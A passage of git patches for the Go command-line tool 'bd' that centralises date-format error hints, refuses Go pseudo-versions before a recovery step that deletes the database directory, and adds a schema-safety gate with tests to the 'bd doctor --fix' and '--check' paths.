pointless).`, } else { t, err := timeparsing.ParseRelativeTime(deferStr, time.Now()) if err != nil { - return HandleErrorRespectJSON("invalid --defer format %q. Examples: +1h, tomorrow, next monday, 2025-01-15", deferStr) + return HandleErrorRespectJSON("invalid --defer format %q. %s", deferStr, deferUntilFormatHint) } // Warn if defer date is in the past (user probably meant future) inPast := t.Before(time.Now()) diff --git a/cmd/bd/update_input.go b/cmd/bd/update_input.go index 954efa789..c7ab46611 100644 --- a/cmd/bd/update_input.go +++ b/cmd/bd/update_input.go @@ -176,7 +176,7 @@ func gatherUpdateInput(ctx context.Context, cmd *cobra.Command) (*updateInput, e } else { t, err := timeparsing.ParseRelativeTime(dueStr, time.Now()) if err != nil { - return nil, HandleErrorRespectJSON("invalid --due format %q. Examples: +6h, tomorrow, next monday, 2025-01-15", dueStr) + return nil, HandleErrorRespectJSON("invalid --due format %q. %s", dueStr, deferUntilFormatHint) } in.fields["due_at"] = t } @@ -192,7 +192,7 @@ func gatherUpdateInput(ctx context.Context, cmd *cobra.Command) (*updateInput, e } else { t, err := timeparsing.ParseRelativeTime(deferStr, time.Now()) if err != nil { - return nil, HandleErrorRespectJSON("invalid --defer format %q. Examples: +1h, tomorrow, next monday, 2025-01-15", deferStr) + return nil, HandleErrorRespectJSON("invalid --defer format %q. %s", deferStr, deferUntilFormatHint) } inPast := t.Before(time.Now()) if inPast && !jsonOut { diff --git a/tests/oracle-a/harness/scenarios/enumerated.json b/tests/oracle-a/harness/scenarios/enumerated.json index d27134b10..242e11e03 100644 --- a/tests/oracle-a/harness/scenarios/enumerated.json +++ b/tests/oracle-a/harness/scenarios/enumerated.json @@ -2380,7 +2380,7 @@ "--json" ] ], - "pins": "Error 'invalid --defer format \"not-a-date\". Examples: ...' to STDERR; exit 1.", + "pins": "Error 'invalid --defer format \"not-a-date\". Use a relative offset [+-]? with unit min=minutes, h=hours, ...' (shared deferUntilFormatHint) to STDERR; exit 1.", "deterministic": true }, { @@ -2759,7 +2759,7 @@ "--json" ] ], - "pins": "Error 'invalid --due format \"whenever\". Examples: ...' to STDERR; exit 1.", + "pins": "Error 'invalid --due format \"whenever\". Use a relative offset [+-]? with unit min=minutes, h=hours, ...' (shared deferUntilFormatHint) to STDERR; exit 1.", "deterministic": true }, { @@ -15495,7 +15495,7 @@ "--json" ] ], - "pins": "update.go:224-225 'invalid --defer format \"notadate\". Examples: +1h, tomorrow, next monday, 2025-01-15'; exit 1.", + "pins": "update.go:224-225 'invalid --defer format \"notadate\". Use a relative offset [+-]? with unit min=minutes, h=hours, d=days, w=weeks, m=months, y=years (+30min, +1h, +3m), natural language (tomorrow, next monday), or a date (2025-01-15)'; exit 1.", "deterministic": true }, { @@ -15606,7 +15606,7 @@ "--json" ] ], - "pins": "update.go:200-211 invalid -> 'invalid --due format \"garbage\". Examples: +6h, tomorrow, next monday, 2025-01-15' exit 1; empty -> due_at=nil cleared.", + "pins": "update.go:200-211 invalid -> 'invalid --due format \"garbage\". Use a relative offset [+-]? with unit min=minutes, h=hours, d=days, w=weeks, m=months, y=years (+30min, +1h, +3m), natural language (tomorrow, next monday), or a date (2025-01-15)' exit 1; empty -> due_at=nil cleared.", "deterministic": true }, { From 8951ca56ba194e3c1ff85f7a076420fea5ca7ba1 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 01:32:02 -0700 Subject: [PATCH 019/325] fix(version): refuse Go pseudo-version predecessors in pre-0.56 recovery (#7000) #6153 taught the doctor version helpers to accept a leading "v" (GH#6152). recoverPreV56IfNeeded reused IsValidSemver as the gate that kept the v-prefixed Go pseudo-versions from #5650 off the path that deletes .dolt, so that protection went with it: a major-0 pseudo-version such as v0.0.0-- or v0.55.5-0.- now passes the validity check and compares below 0.56.0. The .bd-dolt-ok marker only stops the rebuild for databases bd 0.58.0 or later has served; 0.56.x and 0.57.x never wrote it. Refuse pseudo-versions explicitly with golang.org/x/mod/module, after normalizing the stamp the way the doctor helpers read it, so the spelling of a stamp never decides whether its database is deleted. A pseudo-version's numbers bound the build from below only, so they can never show that a workspace predates 0.56. This also refuses a bare pseudo-version (0.0.0--), which the digit scan has always accepted. A v-prefixed release such as v0.55.4 still recovers. Post-merge review follow-up for #6153. Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/version_tracking.go | 43 +++++++++++++++++++++++---------- cmd/bd/version_tracking_test.go | 20 +++++++++++---- 3 files changed, 46 insertions(+), 18 deletions(-) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 89240c36a..4d581e7c2 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -452,6 +452,7 @@ go_library( "@io_opentelemetry_go_otel_trace//:trace", "@land_charm_huh_v2//:huh", "@land_charm_lipgloss_v2//:lipgloss", + "@org_golang_x_mod//module", "@org_golang_x_mod//semver", "@org_golang_x_term//:term", ] + select({ diff --git a/cmd/bd/version_tracking.go b/cmd/bd/version_tracking.go index c3f343e9d..98e59eba9 100644 --- a/cmd/bd/version_tracking.go +++ b/cmd/bd/version_tracking.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/issueops" + "golang.org/x/mod/module" ) // localVersionFile is the gitignored file that stores the last bd version used locally. @@ -309,22 +310,30 @@ func autoMigrateOnVersionBump(beadsDir string) { // recoverPreV56IfNeeded rebuilds a Dolt database left behind by the pre-0.56 // embedded mode (GH#2137) — which means deleting .dolt — but only when the -// recorded predecessor is an actual semantic version older than 0.56.0. +// recorded predecessor is a release older than 0.56.0. // -// The validity check is not redundant with the comparison. CompareVersions -// scans every dot-separated part with %d and leaves whatever it cannot read at -// 0, so any non-semver string writeLocalVersion has recorded compares as -// pre-0.56 and routes a current workspace into this destructive path: -// Homebrew's "HEAD-" from a --HEAD install (#5603), and the -// v-prefixed Go pseudo-version a `go install`-built bd stamps (#5650). Neither -// is a pre-0.56 workspace; both would lose their database. +// Neither refusal below is redundant with the comparison: // -// IsValidSemver rejects exactly the shapes CompareVersions misreads, so this -// gate can only remove predecessors from the recovery set, never add one: a -// stamp that reaches RecoverPreV56DoltDir today and still parses keeps its -// recovery unchanged. +// - CompareVersions scans every dot-separated part with %d and leaves +// whatever it cannot read at 0, so a stamp it cannot parse compares as +// pre-0.56: Homebrew's "HEAD-" from a --HEAD install (#5603). +// IsValidSemver rejects those shapes. +// - A Go pseudo-version parses, but its numbers do not name a release. +// "v0.55.5-0.-" is some commit after v0.55.4, and +// "v0.0.0--" a build with no tag in reach at all: the +// prefix bounds the build from below, never from above, so it cannot show +// that the workspace predates 0.56. IsValidSemver used to refuse the +// v-prefixed ones some build paths stamp (#5650) only because it read +// the "v" as a malformed part. Since it accepts a leading "v" (GH#6152), +// a major-0 one can compare below 0.56.0, so pseudo-versions are refused +// here explicitly, however they are spelled. +// +// A v-prefixed release ("v0.55.4") is compared numerically and still +// recovers. The .bd-dolt-ok marker RecoverPreV56DoltDir checks is the last +// gate, but only bd 0.58.0 and later write it: a database that only 0.56.x or +// 0.57.x has served has none, so for it these refusals are the only gate. func recoverPreV56IfNeeded(previousVersion, dbPath string) { - if !doctor.IsValidSemver(previousVersion) { + if !doctor.IsValidSemver(previousVersion) || isGoPseudoVersion(previousVersion) { return } if doctor.CompareVersions(previousVersion, "0.56.0") >= 0 { @@ -340,6 +349,14 @@ func recoverPreV56IfNeeded(previousVersion, dbPath string) { } } +// isGoPseudoVersion reports whether a version stamp is a Go pseudo-version, +// with or without the leading "v". The module parser requires the "v", so the +// stamp is normalized the way the doctor version helpers read it (trimmed, one +// optional "v") and then given one. +func isGoPseudoVersion(version string) bool { + return module.IsPseudoVersion("v" + strings.TrimPrefix(strings.TrimSpace(version), "v")) +} + // noticeSharedMigrateRefusal turns the one failure autoMigrateOnVersionBump // must not swallow into a one-line stderr notice. // diff --git a/cmd/bd/version_tracking_test.go b/cmd/bd/version_tracking_test.go index e3af15f56..1cf4b1044 100644 --- a/cmd/bd/version_tracking_test.go +++ b/cmd/bd/version_tracking_test.go @@ -548,11 +548,16 @@ func writePreV56DoltFixture(t *testing.T) (doltDir, sentinel string) { } // TestRecoverPreV56IfNeeded_OnlySemverPredecessorsAreRecovered pins the -// destructive edge from #5603/#5625: CompareVersions reads any unparsable -// version part as 0, so a non-semver predecessor compares as pre-0.56 and -// hands a live workspace to a path that deletes .dolt. The Homebrew --HEAD -// stamp and the v-prefixed Go pseudo-version from #5650 are both such -// predecessors and both reach this call today. +// destructive edge from #5603/#5625/#5650: only a release older than 0.56.0 +// may hand its workspace to the path that deletes .dolt. +// +// - CompareVersions reads any unparsable version part as 0, so the Homebrew +// --HEAD stamp compares as pre-0.56 and must fail the validity check. +// - A Go pseudo-version passes the validity check since the GH#6152 fix, +// and a major-0 one can compare below 0.56.0, but its numbers only bound +// the build from below. It must be refused on its own, with or without +// the "v". +// - A v-prefixed release is a genuine predecessor and still recovers. func TestRecoverPreV56IfNeeded_OnlySemverPredecessorsAreRecovered(t *testing.T) { tests := []struct { name string @@ -563,11 +568,16 @@ func TestRecoverPreV56IfNeeded_OnlySemverPredecessorsAreRecovered(t *testing.T) {name: "bare brew HEAD stamp", previous: "HEAD"}, {name: "brew HEAD stamp with revision", previous: "HEAD-f925f3f_1"}, {name: "go pseudo-version", previous: "v1.1.1-0.20260805093327-bf97b73749ac"}, + {name: "go pseudo-version with no tag in reach", previous: "v0.0.0-20260805093327-bf97b73749ac"}, + {name: "go pseudo-version after a pre-0.56 tag", previous: "v0.55.5-0.20260101000000-abcdefabcdef"}, + {name: "go pseudo-version without its v", previous: "0.0.0-20260805093327-bf97b73749ac"}, + {name: "go pseudo-version with surrounding space", previous: " v0.0.0-20260805093327-bf97b73749ac\n"}, {name: "unreadable witness", previous: "not-a-version"}, {name: "no predecessor", previous: ""}, {name: "current release", previous: "1.1.2"}, {name: "0.56.0 itself", previous: "0.56.0"}, {name: "pre-0.56 release", previous: "0.55.4", wantRecovery: true}, + {name: "v-prefixed pre-0.56 release", previous: "v0.55.4", wantRecovery: true}, {name: "pre-0.56 pre-release", previous: "0.55.4-rc.1", wantRecovery: true}, } From 765c2721517c83c13682805a556e734c8ee59e42 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Thu, 1 Oct 2026 01:32:23 -0700 Subject: [PATCH 020/325] fix(doctor): gate --fix when schema is skewed (#5145) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(doctor): gate --fix when schema is skewed (GH#4993) `bd doctor` printed `bd doctor --fix` for cosmetic warnings without checking whether the DB schema is ahead of (or behind) the running binary. Following that tip can resume/write migrations on shared state — exactly what burned a fleet change-freeze. - AssessSchemaFixGate compares schema_migrations to LatestVersion - Refuse apply/dry-run when the database is ahead of the binary - Sanitize Fix recommendations so tips do not steer into unsafe --fix - Surface a schema fix-gate footer on doctor output Fixes #4993 * fix(doctor): assess the schema fix gate before anything can write (GH#4993) The gate shipped downstream of the hazard it guards, which produced three separate-looking defects with one cause: - Fix advice was sanitized inside printDiagnostics, the else branch of the emitter chain, and by value over a []doctorCheck. --json, --agent and --output therefore published advice the gate had ruled unsafe. - The --check= handlers return before any gate exists, so --check=pollution --clean and --check=validate --fix wrote with no gate consulted. - runDiagnostics auto-migrates near its top while the gate was assessed at print time, so a bare `bd doctor` applied pending migrations and then warned about them. Assess once in the RunE preamble, before any branch that can write, and thread that verdict through. Sanitize once into result.Checks by index so every emitter inherits it. Gate the --check= paths at the single branch point via checkFlagWrites. Also splits the overloaded Safe flag into RecommendFix / AllowDBFix / AllowFSFix, since callers were asking three different questions of it, and adds Determined / DBReachable so an unreadable schema version fails closed while a genuinely absent database still permits filesystem repair. Fixes follow from that: the --fix dry-run no longer refuses (it writes nothing), filesystem-only repairs are no longer blocked by a schema hazard that cannot affect them, and the dead `&& !g.Safe` conjunct and a leaked internal symbol in operator-facing output are gone. Tests move from asserting the predicate to asserting the wiring: a property over the whole emitter set, the --check= enumeration, and a fail-closed case. Verified against the original range-by-value bug, which they detect. Reported by maphew. * fix(doctor): gate DB fixes solely on AllowDBFix, not Reason == "" (GH#4993) AssessSchemaFixGate's unreachable branch (openDoltDB failure) returns AllowDBFix:false and Reason:"" — both zero values. doctor_fix.go's `gate.AllowDBFix || gate.Reason == ""` in applyFixes and `!gate.AllowDBFix && gate.Reason != ""` in previewFixes both treated that empty Reason as "safe to fix", admitting database repairs (and not even flagging them as blocked in a dry run) whenever the Dolt server is stopped or unreachable — exactly the case this gate exists to withhold. Gate on AllowDBFix alone in both places. Enumerated every FixGate literal in fix_gate.go (unreachable, undetermined, ahead, pending, default/equal) against the new condition: only the unreachable case changes (admitted -> withheld, the fix); undetermined/ahead/pending stay withheld and the equal/default case stays admitted, so no legitimate case is newly blocked. Adds doctor_fix_gate_wiring_test.go coverage driving applyFixes and previewFixes with an unreachable-shaped gate fixture, asserting no database fix is applied or shown as unblocked. * fix(doctor): correct comment typo labelled->labeled The misspell linter flags 'labelled' (British spelling) in a comment in previewFixes, failing the Lint / PR Lint (wrapper timing) / CI Gate checks on PR #5145. Co-Authored-By: Claude Sonnet 5 * fix(doctor): guard --agent commands, test the gate assessor, keep recovery fixes (GH#4993) - --agent: enrichers hardcode `bd doctor --fix` in their Commands and never read the sanitized dc.Fix. EnrichForAgent now takes the FixGate and sanitizes the finished Commands. TestNoAgentEnricherLeaksUnguardedFixCommand runs over every registered enricher (doctor.AgentEnricherNames) plus an unenriched name, with a non-vacuity check under a safe gate. - AssessSchemaFixGate now has tests against a real Dolt server with a seeded schema_migrations (ahead, pending, equal, empty/absent/unreadable table) and unreachable cases, each guard verified by mutation. - An unopenable database no longer withholds the recovery fixers that repair it: FixGate.AllowsFix is the single admission policy; Corrupt Manifest, Database Integrity, Dolt Format and Dolt Schema stay available when the DB is unreachable, schema-writing fixes stay withheld whenever the gate blocks. Co-Authored-By: Claude Sonnet 5 * chore(bazel): sync BUILD.bazel srcs/deps for the new doctor fix-gate files The PR adds cmd/bd/doctor/fix_gate.go (which imports //schema), three fix_gate*_test.go files in that package, and cmd/bd/doctor_fix_gate_wiring_test.go. The rebase target added cmd/bd/doctor/BUILD.bazel after this PR was opened, and it enumerates srcs and deps exactly, so the merged tree left all five files unlisted and the go_library missing //schema. Regenerated with `make bazel-sync` (gazelle + tools/bazel/go_srcs.py + bazel mod tidy). * fix(doctor): fail closed when the schema gate cannot open an existing database Maintainer review fixes for the GH#4993 fix gate (adoption review of #5145). The blocking defect: AssessSchemaFixGate conflated "there is no database" with "I could not connect to one". Any openDoltDB error returned the no-hazard unreachable shape, and the destructive `--check` refusal keyed on gate.DBReachable, so in a server-mode repo whose server was merely stopped `bd doctor --check=pollution --clean` skipped the refusal entirely, then the handler's own factory open auto-started the server, applied the pending migrations blind, and deleted rows. The identical command against the identical schema was refused whenever the server happened to be running, so the guard was conditional on incidental server liveness. Split the two states. A failed connection is no longer evidence that there is no database: when the configured database is still on disk the gate now reports DBPresent with Determined=false, a Reason, and RecommendFix cleared, so the refusal fires and printed advice stops steering at --fix for a schema version it never read. The discriminator stats the path autoMigrateOnVersionBump stats, os.Stat(cfg.DatabasePath(...)), and like it reads only ENOENT as absent, so the gate and the auto-migrate agree about when a schema exists outside the two deliberate departures described under the second review iteration below. A repo with no database at all keeps the existing no-hazard shape. DBPresent, not DBReachable, is now the hazard question, via FixGate.BlocksDestructiveWrites(). Keeping DBReachable literal preserves the recovery-fixer carve-out in AllowsFix unchanged: Corrupt Manifest and Database Integrity stay available for a database that cannot be opened, which is exactly the state they are the cure for, while a repair that opens the migrating factory stays withheld. Also from the review, all non-blocking: - `--check=artifacts --clean` was refused under a blocked gate although the PR itself classifies artifact cleanup filesystem-only, so the two planes disagreed about one operation. The `--check` guard now routes through FixGate.AllowsFix; pollution and validate have no filesystem-only classification and stay refused. - filesystemOnlyFixes omitted "Hooks Path" (a git-config unset) and "Circuit Breaker" (stale marker files), so a blocked gate withheld them and printed them as database fixes. Added both, plus "Database Config" (rewrites metadata.json only and refuses Dolt outright). Audited the rest of applyFixList's 42 dispatch names and recorded why the others stay guarded -- "Repo Fingerprint" writes through the store, so it is correctly withheld. - applyFixes dropped a gate-withheld filesystem-only fix from both the fixable and withheld lists, reporting nothing at all. Removed the qualifier and relabelled the line "gated fix(es)", since the withheld set is whatever the gate blocked. - Corrected the gate's own ordering contract comment, which claimed assessment happens "before anything that can write". The load-bearing guarantee is one memoised verdict per invocation before any *gated* write, with the bd-jgxi auto-migrate deliberately outside the gate's jurisdiction. Tests: the fail-closed shape and its recovery/hazard admissions, the hazard predicate across all six gate shapes, the `--check` refusal routing (including that a read-only --check never probes the database), and the gate accessor's laziness and memoisation. The review also asked for an assertion that the gate is evaluated before autoMigrateOnVersionBump; that is declined deliberately, because it would pin a contract the same review established is false -- the auto-migrate precedes the gate by design. The lazy/memoised pins cover the part of the contract that is real. Validation: 29 focused fix-gate tests pass, and each of the four behavioural changes was confirmed non-vacuous by mutating it and observing only its own test fail. Full cmd/bd/doctor package is 387 pass / 7 fail, all 7 identical to the same tests at the rebase base (ambient-env reds needing BEADS_TEST_SERVER or a configured beads role). BUILD.bazel regenerated with gazelle; the new cmd/bd test file runs under `bazel test //cmd/bd:bd_test`. Second review iteration (one minor, non-gating): databaseExistsOnDisk's doc called it the same probe autoMigrateOnVersionBump uses, but the two differed in three arms. Each is now either aligned or a documented, pinned departure: - Any stat error read as absent, where auto-migrate reads only ENOENT so. Now only ENOENT reads as absent: a data directory that cannot be stat'ed for another reason (ENOTDIR, EACCES) is unknown, and the gate fails closed. - No metadata.json reads as absent, where auto-migrate falls back to DefaultConfig. Kept deliberately and documented: the gate cannot connect without metadata.json, so a fail-closed verdict could never be cleared by starting a server, and SanitizeFixRecommendation would rewrite doctor's own advice for this state (`bd doctor --fix` regenerating metadata.json, a filesystem-only repair) into "Do NOT run 'bd doctor --fix'". The cost is one unguarded state, left as follow-up: server mode selected by the environment or config.yaml while metadata.json is missing, where a gated repair still reaches the server's schema unmeasured. - A proxied-server workspace was documented as reading absent because it "keeps no local database", but it reads present whenever its data directory is on disk, and the proxied root defaults to that same directory. Kept fail-closed and corrected the doc. `bd doctor` is refused up front in proxied-server mode (proxy.doctor.unsupported), so this arm only matters once doctor gains a proxied route. Also corrected the DBPresent field doc, which said only a repo with no database at all is DBPresent:false. Tests: the fail-closed test is now table-driven over a stopped server, a proxied-server workspace, and a data directory whose stat fails with ENOTDIR (skipped on Windows, where that error surfaces as path-not-found, which os.IsNotExist matches). A new test pins the missing-metadata.json departure: the no-hazard shape, RecommendFix kept, and Metadata Config admitted. Each arm was confirmed non-vacuous by mutating it (a DefaultConfig fallback, an any-error stat predicate, a proxied-mode early return) and observing only its own test fail. Not covered, and unchanged from main: an embedded-mode workspace keeps its store under .beads/embeddeddolt, which this probe does not stat, so `bd doctor --check=pollution --clean` there still gets the no-database verdict. Validation (second iteration): git diff --check is clean; the 11 focused doctor gate tests and the 13 cmd/bd gate-wiring tests pass. databaseExistsOnDisk's only caller is AssessSchemaFixGate, whose only production caller is doctor's newSchemaGate, so those suites cover every path the predicate change reaches. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 2 + cmd/bd/doctor.go | 119 +++++- cmd/bd/doctor/BUILD.bazel | 6 + cmd/bd/doctor/agent.go | 29 +- cmd/bd/doctor/fix_gate.go | 321 ++++++++++++++ cmd/bd/doctor/fix_gate_assess_dolt_test.go | 213 ++++++++++ cmd/bd/doctor/fix_gate_assess_test.go | 280 +++++++++++++ cmd/bd/doctor/fix_gate_test.go | 199 +++++++++ cmd/bd/doctor_agent.go | 7 +- cmd/bd/doctor_check_gate_test.go | 204 +++++++++ cmd/bd/doctor_fix.go | 112 ++++- cmd/bd/doctor_fix_gate_wiring_test.go | 460 +++++++++++++++++++++ 12 files changed, 1925 insertions(+), 27 deletions(-) create mode 100644 cmd/bd/doctor/fix_gate.go create mode 100644 cmd/bd/doctor/fix_gate_assess_dolt_test.go create mode 100644 cmd/bd/doctor/fix_gate_assess_test.go create mode 100644 cmd/bd/doctor/fix_gate_test.go create mode 100644 cmd/bd/doctor_check_gate_test.go create mode 100644 cmd/bd/doctor_fix_gate_wiring_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 4d581e7c2..f3e7f7fc5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -660,9 +660,11 @@ go_test( "diff_embedded_test.go", "directory_flag_test.go", "doctor_backend_guard_test.go", + "doctor_check_gate_test.go", "doctor_context_test.go", "doctor_conventions_test.go", "doctor_embedded_test.go", + "doctor_fix_gate_wiring_test.go", "doctor_fix_order_test.go", "doctor_fix_pending_migrations_test.go", "doctor_health_integration_test.go", diff --git a/cmd/bd/doctor.go b/cmd/bd/doctor.go index caab6035c..f52d85097 100644 --- a/cmd/bd/doctor.go +++ b/cmd/bd/doctor.go @@ -7,6 +7,7 @@ import ( "path/filepath" "slices" "strings" + "sync" "time" "github.com/spf13/cobra" @@ -247,10 +248,19 @@ Examples: return nil } + // GH#4993: assess once, before any branch that can write. Lazy so + // read-only paths skip the probe; memoised so repeats cannot disagree. + schemaGate := newSchemaGate(absPath) + // artifacts, conventions, and pollution work in embedded mode and run // unconditionally; validate still requires a server-mode connection // and stays gated (GH#3597). if doctorCheckFlag != "" { + // GH#4993: these handlers return directly, so their destructive + // paths bypassed the gate. Refuse at the single branch point. + if err := destructiveCheckRefusal(doctorCheckFlag, doctorClean, doctorFix, schemaGate); err != nil { + return err + } switch doctorCheckFlag { case "artifacts": return runArtifactsCheck(absPath, doctorClean, doctorYes) @@ -294,12 +304,17 @@ Examples: result := runDiagnostics(absPath) + // GH#4993: guard once, on the result, before any emitter reads it. + // Per-renderer sanitizing exempted --json, --agent and --output. + sanitizeFixAdvice(&result, schemaGate()) + if doctorDryRun { - previewFixes(result) + previewFixes(result, schemaGate()) } else if doctorFix { - applyFixes(result) + applyFixes(result, schemaGate()) fmt.Println("\nVerifying fixes...") result = runDiagnostics(absPath) + sanitizeFixAdvice(&result, schemaGate()) } if doctorOutput != "" || jsonOutput { @@ -315,7 +330,7 @@ Examples: } if doctorAgent { - agentResult := buildAgentResult(result) + agentResult := buildAgentResult(result, schemaGate()) if jsonOutput { if err := outputJSON(agentResult); err != nil { return err @@ -328,7 +343,7 @@ Examples: return err } } else if doctorOutput == "" { - printDiagnostics(result) + printDiagnostics(result, schemaGate()) } if !result.OverallOK { @@ -1184,7 +1199,96 @@ func exportDiagnostics(result doctorResult, outputPath string) error { return nil } -func printDiagnostics(result doctorResult) { +// checkFlagWrites reports whether a `--check=` can modify state and so +// must clear the schema gate (GH#4993). New destructive checks go here. +func checkFlagWrites(flag string, clean, fix bool) bool { + switch flag { + case "artifacts", "pollution": + return clean + case "validate": + return fix + } + return false +} + +// checkFlagFixName names the classified repair a destructive `--check=` +// performs, so the schema gate can admit it through the same policy that governs +// the equivalent `bd doctor --fix` repair (GH#4993). "" means the flag's +// destructive work maps to no single classified fix and is therefore treated as +// schema-writing, exactly like an unlisted fix name in filesystemOnlyFixes. +// +// `pollution --clean` and `validate --fix` deliberately have no entry: both +// delete or rewrite rows through an opened store. +func checkFlagFixName(flag string) string { + if flag == "artifacts" { + // --clean removes the same on-disk artifacts as the "Classic Artifacts" + // fix, which fix_gate.go classifies filesystem-only. + return "Classic Artifacts" + } + return "" +} + +// assessSchemaFixGate is the schema-gate assessor, indirected so tests can +// observe when and how often it is evaluated. Production always uses +// doctor.AssessSchemaFixGate. +var assessSchemaFixGate = doctor.AssessSchemaFixGate + +// newSchemaGate returns this invocation's schema gate accessor (GH#4993). Lazy +// so a read-only path never probes the database, and memoised so every consumer +// in one invocation sees one verdict that repeats cannot disagree with. +func newSchemaGate(absPath string) func() doctor.FixGate { + return sync.OnceValue(func() doctor.FixGate { + return assessSchemaFixGate(absPath) + }) +} + +// destructiveCheckRefusal returns the refusal for a destructive `bd doctor +// --check=` the schema gate does not admit, or nil when the command may +// proceed (GH#4993). gate is an accessor rather than a value so a read-only +// --check never probes the database. +// +// The gate is consulted here, before the caller's switch dispatches to a +// handler, because the handler's own store open is the hazard: the migrating +// factory auto-starts a stopped server and applies pending migrations before the +// write lands. +func destructiveCheckRefusal(flag string, clean, fix bool, gate func() doctor.FixGate) error { + if !checkFlagWrites(flag, clean, fix) { + return nil + } + g := gate() + if !g.BlocksDestructiveWrites() { + return nil + } + // Filesystem-only cleanup is not what the gate is about: `bd doctor --fix` + // admits the same repair under the same blocked gate, so refusing it here + // would leave the two planes disagreeing about one operation. + if name := checkFlagFixName(flag); name != "" && g.AllowsFix(name) { + return nil + } + return HandleErrorWithHint( + fmt.Sprintf("refusing destructive 'bd doctor --check=%s': %s", flag, g.Reason), + "Re-run without --clean/--fix to inspect read-only, or resolve the schema state first", + ) +} + +// sanitizeFixAdvice rewrites each Fix tip in place so no emitter publishes +// advice the gate ruled unsafe (GH#4993). Index-based write is load-bearing: +// ranging by value over []doctorCheck mutates a copy. +func sanitizeFixAdvice(result *doctorResult, gate doctor.FixGate) { + if result == nil { + return + } + for i := range result.Checks { + if result.Checks[i].Fix == "" { + continue + } + result.Checks[i].Fix = doctor.SanitizeFixRecommendation(result.Checks[i].Fix, gate) + } +} + +func printDiagnostics(result doctorResult, gate doctor.FixGate) { + // GH#4993: tips arrive already sanitized; do not re-assess the gate here. + // Pre-calculate counts and collect issues grouped by category checksByCategory := make(map[string][]doctorCheck) issuesByCategory := make(map[string][]doctorCheck) @@ -1330,6 +1434,11 @@ func printDiagnostics(result doctorResult) { } fmt.Printf("%s\n", ui.RenderMuted(fmt.Sprintf("(%d %s suppressed via doctor.suppress config)", result.SuppressedCount, noun))) } + + // GH#4993: surface the schema gate verdict assessed once in RunE. + if gate.Reason != "" { + fmt.Printf("\n%s Schema fix-gate: %s\n", ui.RenderWarn("⚠"), gate.Reason) + } } // printAllChecks prints all checks grouped by category with section headers. diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index 73f72e14e..5f541e3e8 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -19,6 +19,7 @@ go_library( "dependency_sql.go", "dolt.go", "federation.go", + "fix_gate.go", "fresh_clone_server.go", "git.go", "gitignore.go", @@ -74,6 +75,7 @@ go_library( "//internal/storage/schema", "//internal/types", "//internal/utils", + "//schema", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_spf13_viper//:viper", "@in_gopkg_yaml_v3//:yaml_v3", @@ -105,6 +107,9 @@ go_test( "dolt_phantom_test.go", "dolt_test.go", "federation_test.go", + "fix_gate_assess_dolt_test.go", + "fix_gate_assess_test.go", + "fix_gate_test.go", "fresh_clone_server_test.go", "git_hygiene_test.go", "git_repo_template_test.go", @@ -164,6 +169,7 @@ go_test( "//internal/testutil/bazeltest", "//internal/types", "//internal/utils", + "//schema", "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_go_sql_driver_mysql//:mysql", ], diff --git a/cmd/bd/doctor/agent.go b/cmd/bd/doctor/agent.go index d9b786ad6..099cfc467 100644 --- a/cmd/bd/doctor/agent.go +++ b/cmd/bd/doctor/agent.go @@ -2,6 +2,7 @@ package doctor import ( "fmt" + "sort" "strings" ) @@ -33,7 +34,20 @@ type agentEnrichment struct { type enricher func(dc DoctorCheck) agentEnrichment // EnrichForAgent converts a DoctorCheck into an AgentDiagnostic with rich context. -func EnrichForAgent(dc DoctorCheck) AgentDiagnostic { +// +// Enrichers hardcode their own remediation commands (many are literally +// `bd doctor --fix`) and never read the already-sanitized dc.Fix, so the gate +// is applied to the finished Commands here, after enrichment (GH#4993). An +// agent is the consumer most likely to execute that list unattended. +func EnrichForAgent(dc DoctorCheck, gate FixGate) AgentDiagnostic { + ad := enrichForAgent(dc) + for i, c := range ad.Commands { + ad.Commands[i] = SanitizeFixRecommendation(c, gate) + } + return ad +} + +func enrichForAgent(dc DoctorCheck) AgentDiagnostic { ad := AgentDiagnostic{ Name: dc.Name, Status: dc.Status, @@ -88,6 +102,19 @@ func buildGenericExplanation(dc DoctorCheck) string { return s } +// AgentEnricherNames returns every check name with a specialized agent +// enricher, sorted. Enrichers hardcode their own remediation commands, so +// tests that assert on agent output must cover each one rather than a +// hand-picked name that may fall through to the generic path (GH#4993). +func AgentEnricherNames() []string { + names := make([]string, 0, len(agentEnrichers)) + for name := range agentEnrichers { + names = append(names, name) + } + sort.Strings(names) + return names +} + // agentEnrichers maps check names to specialized enrichment functions. var agentEnrichers = map[string]enricher{ "Installation": enrichInstallation, diff --git a/cmd/bd/doctor/fix_gate.go b/cmd/bd/doctor/fix_gate.go new file mode 100644 index 000000000..213f2a9bb --- /dev/null +++ b/cmd/bd/doctor/fix_gate.go @@ -0,0 +1,321 @@ +package doctor + +import ( + "context" + "fmt" + "os" + "regexp" + "strings" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/schema" +) + +// FixGate reports whether `bd doctor --fix` is safe given the schema/binary +// relationship (GH#4993): opening the store can apply pending migrations. +// Callers ask three distinct questions, so it answers three. +type FixGate struct { + // Determined is false when a database exists but its version could not be + // read — either the connection failed or the query did. Unknown is not safe. + Determined bool + // DBReachable is false whenever this process did not get a working + // connection. That covers both "there is no database" and "there is one but + // it could not be connected to", so it is not on its own a statement 